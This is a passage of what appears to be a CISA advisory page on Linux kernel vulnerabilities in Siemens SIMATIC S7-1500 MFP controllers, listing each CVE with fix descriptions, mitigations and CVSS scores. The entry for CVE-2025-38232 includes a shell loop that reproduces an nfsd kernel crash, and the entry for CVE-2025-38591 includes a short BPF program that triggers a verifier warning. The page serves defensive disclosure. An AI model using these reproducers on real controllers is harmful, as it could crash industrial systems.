</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-37980</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: block: fix resource leak in blk_register_queue() error path When registering a queue fails after blk_mq_sysfs_register() is successful but the function later encounters an error, we need to clean up the blk_mq_sysfs resources. Add the missing blk_mq_sysfs_unregister() call in the error path to properly clean up these resources and prevent a memory leak.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-37980">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38125</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: stmmac: make sure that ptp_rate is not 0 before configuring EST If the ptp_rate recorded earlier in the driver happens to be 0, this bogus value will propagate up to EST configuration, where it will trigger a division by 0. Prevent this division by 0 by adding the corresponding check and error code.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38125">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/369.html">CWE-369 Divide By Zero</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38162</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nft_set_pipapo: prevent overflow in lookup table allocation When calculating the lookup table size, ensure the following multiplication does not overflow: - desc-&gt;field_len[] maximum value is U8_MAX multiplied by NFT_PIPAPO_GROUPS_PER_BYTE(f) that can be 2, worst case. - NFT_PIPAPO_BUCKETS(f-&gt;bb) is 2^8, worst case. - sizeof(unsigned long), from sizeof(*f-&gt;lt), lt in struct nft_pipapo_field. Then, use check_mul_overflow() to multiply by bucket size and then use check_add_overflow() to the alignment for avx2 (if needed). Finally, add lt_size_check_overflow() helper and use it to consolidate this. While at it, replace leftover allocation using the GFP_KERNEL to GFP_KERNEL_ACCOUNT for consistency, in pipapo_resize().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38162">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38192</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: clear the dst when changing skb protocol A not-so-careful NAT46 BPF program can crash the kernel if it indiscriminately flips ingress packets from v4 to v6: BUG: kernel NULL pointer dereference, address: 0000000000000000 ip6_rcv_core (net/ipv6/ip6_input.c:190:20) ipv6_rcv (net/ipv6/ip6_input.c:306:8) process_backlog (net/core/dev.c:6186:4) napi_poll (net/core/dev.c:6906:9) net_rx_action (net/core/dev.c:7028:13) do_softirq (kernel/softirq.c:462:3) netif_rx (net/core/dev.c:5326:3) dev_loopback_xmit (net/core/dev.c:4015:2) ip_mc_finish_output (net/ipv4/ip_output.c:363:8) NF_HOOK (./include/linux/netfilter.h:314:9) ip_mc_output (net/ipv4/ip_output.c:400:5) dst_output (./include/net/dst.h:459:9) ip_local_out (net/ipv4/ip_output.c:130:9) ip_send_skb (net/ipv4/ip_output.c:1496:8) udp_send_skb (net/ipv4/udp.c:1040:8) udp_sendmsg (net/ipv4/udp.c:1328:10) The output interface has a 4-&gt;6 program attached at ingress. We try to loop the multicast skb back to the sending socket. Ingress BPF runs as part of netif_rx(), pushes a valid v6 hdr and changes skb-&gt;protocol to v6. We enter ip6_rcv_core which tries to use skb_dst(). But the dst is still an IPv4 one left after IPv4 mcast output. Clear the dst in all BPF helpers which change the protocol. Try to preserve metadata dsts, those may carry non-routing metadata.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38192">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.1</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38201</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nft_set_pipapo: clamp maximum map bucket size to INT_MAX Otherwise, it is possible to hit WARN_ON_ONCE in __kvmalloc_node_noprof() when resizing hashtable because __GFP_NOWARN is unset. Similar to: b541ba7d1f5a ("netfilter: conntrack: clamp maximum hashtable size to INT_MAX")</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38201">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38232</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: NFSD: fix race between nfsd registration and exports_proc As of now nfsd calls create_proc_exports_entry() at start of init_nfsd and cleanup by remove_proc_entry() at last of exit_nfsd. Which causes kernel OOPs if there is race between below 2 operations: (i) exportfs -r (ii) mount -t nfsd none /proc/fs/nfsd for 5.4 kernel ARM64: CPU 1: el1_irq+0xbc/0x180 arch_counter_get_cntvct+0x14/0x18 running_clock+0xc/0x18 preempt_count_add+0x88/0x110 prep_new_page+0xb0/0x220 get_page_from_freelist+0x2d8/0x1778 __alloc_pages_nodemask+0x15c/0xef0 __vmalloc_node_range+0x28c/0x478 __vmalloc_node_flags_caller+0x8c/0xb0 kvmalloc_node+0x88/0xe0 nfsd_init_net+0x6c/0x108 [nfsd] ops_init+0x44/0x170 register_pernet_operations+0x114/0x270 register_pernet_subsys+0x34/0x50 init_nfsd+0xa8/0x718 [nfsd] do_one_initcall+0x54/0x2e0 CPU 2 : Unable to handle kernel NULL pointer dereference at virtual address 0000000000000010 PC is at : exports_net_open+0x50/0x68 [nfsd] Call trace: exports_net_open+0x50/0x68 [nfsd] exports_proc_open+0x2c/0x38 [nfsd] proc_reg_open+0xb8/0x198 do_dentry_open+0x1c4/0x418 vfs_open+0x38/0x48 path_openat+0x28c/0xf18 do_filp_open+0x70/0xe8 do_sys_open+0x154/0x248 Sometimes it crashes at exports_net_open() and sometimes cache_seq_next_rcu(). and same is happening on latest 6.14 kernel as well: [ 0.000000] Linux version 6.14.0-rc5-next-20250304-dirty ... [ 285.455918] Unable to handle kernel paging request at virtual address 00001f4800001f48 ... [ 285.464902] pc : cache_seq_next_rcu+0x78/0xa4 ... [ 285.469695] Call trace: [ 285.470083] cache_seq_next_rcu+0x78/0xa4 (P) [ 285.470488] seq_read+0xe0/0x11c [ 285.470675] proc_reg_read+0x9c/0xf0 [ 285.470874] vfs_read+0xc4/0x2fc [ 285.471057] ksys_read+0x6c/0xf4 [ 285.471231] __arm64_sys_read+0x1c/0x28 [ 285.471428] invoke_syscall+0x44/0x100 [ 285.471633] el0_svc_common.constprop.0+0x40/0xe0 [ 285.471870] do_el0_svc_compat+0x1c/0x34 [ 285.472073] el0_svc_compat+0x2c/0x80 [ 285.472265] el0t_32_sync_handler+0x90/0x140 [ 285.472473] el0t_32_sync+0x19c/0x1a0 [ 285.472887] Code: f9400885 93407c23 937d7c27 11000421 (f86378a3) [ 285.473422] ---[ end trace 0000000000000000 ]--- It reproduced simply with below script: while [ 1 ] do /exportfs -r done &amp; while [ 1 ] do insmod /nfsd.ko mount -t nfsd none /proc/fs/nfsd umount /proc/fs/nfsd rmmod nfsd done &amp; So exporting interfaces to user space shall be done at last and cleanup at first place. With change there is no Kernel OOPs.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38232">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.1</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38322</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: perf/x86/intel: Fix crash in icl_update_topdown_event() The perf_fuzzer found a hard-lockup crash on a RaptorLake machine: Oops: general protection fault, maybe for address 0xffff89aeceab400: 0000 CPU: 23 UID: 0 PID: 0 Comm: swapper/23 Tainted: [W]=WARN Hardware name: Dell Inc. Precision 9660/0VJ762 RIP: 0010:native_read_pmc+0x7/0x40 Code: cc e8 8d a9 01 00 48 89 03 5b cd cc cc cc cc 0f 1f ... RSP: 000:fffb03100273de8 EFLAGS: 00010046 .... Call Trace: icl_update_topdown_event+0x165/0x190 ? ktime_get+0x38/0xd0 intel_pmu_read_event+0xf9/0x210 __perf_event_read+0xf9/0x210 CPUs 16-23 are E-core CPUs that don't support the perf metrics feature. The icl_update_topdown_event() should not be invoked on these CPUs. It's a regression of commit: f9bdf1f95339 ("perf/x86/intel: Avoid disable PMU if !cpuc-&gt;enabled in sample read") The bug introduced by that commit is that the is_topdown_event() function is mistakenly used to replace the is_topdown_count() call to check if the topdown functions for the perf metrics feature should be invoked. Fix it.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38322">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38591</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Reject narrower access to pointer ctx fields The following BPF program, simplified from a syzkaller repro, causes a kernel warning: r0 = *(u8 *)(r1 + 169); exit; With pointer field sk being at offset 168 in __sk_buff. This access is detected as a narrower read in bpf_skb_is_valid_access because it doesn't match offsetof(struct __sk_buff, sk). It is therefore allowed and later proceeds to bpf_convert_ctx_access. Note that for the "is_narrower_load" case in the convert_ctx_accesses(), the insn-&gt;off is aligned, so the cnt may not be 0 because it matches the offsetof(struct __sk_buff, sk) in the bpf_convert_ctx_access. However, the target_size stays 0 and the verifier errors with a kernel warning: verifier bug: error during ctx access conversion(1) This patch fixes that to return a proper "invalid bpf_context access off=X size=Y" error on the load instruction. The same issue affects multiple other fields in context structures that allow narrow access. Some other non-affected fields (for sk_msg, sk_lookup, and sockopt) were also changed to use bpf_ctx_range_ptr for consistency. Note this syzkaller crash was reported in the "Closes" link below, which used to be about a different bug, fixed in commit fce7bd8e385a ("bpf/verifier: Handle BPF_LOAD_ACQ instructions in insn_def_regno()"). Because syzbot somehow confused the two bugs, the new crash and repro didn't get reported to the mailing list.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38591">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38614</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: eventpoll: Fix semi-unbounded recursion Ensure that epoll instances can never form a graph deeper than EP_MAX_NESTS+1 links. Currently, ep_loop_check_proc() ensures that the graph is loop-free and does some recursion depth checks, but those recursion depth checks don't limit the depth of the resulting tree for two reasons: - They don't look upwards in the tree. - If there are multiple downwards paths of different lengths, only one of the paths is actually considered for the depth check since commit 28d82dc1c4ed ("epoll: limit paths"). Essentially, the current recursion depth check in ep_loop_check_proc() just serves to prevent it from recursing too deeply while checking for loops. A more thorough check is done in reverse_path_check() after the new graph edge has already been created; this checks, among other things, that no paths going upwards from any non-epoll file with a length of more than 5 edges exist. However, this check does not apply to non-epoll files. As a result, it is possible to recurse to a depth of at least roughly 500, tested on v6.15. (I am unsure if deeper recursion is possible; and this may have changed with commit 8c44dac8add7 ("eventpoll: Fix priority inversion problem").) To fix it: 1. In ep_loop_check_proc(), note the subtree depth of each visited node, and use subtree depths for the total depth calculation even when a subtree has already been visited. 2. Add ep_get_upwards_depth_proc() for similarly determining the maximum depth of an upwards walk. 3. In ep_loop_check(), use these values to limit the total path length between epoll nodes to EP_MAX_NESTS edges.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38614">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
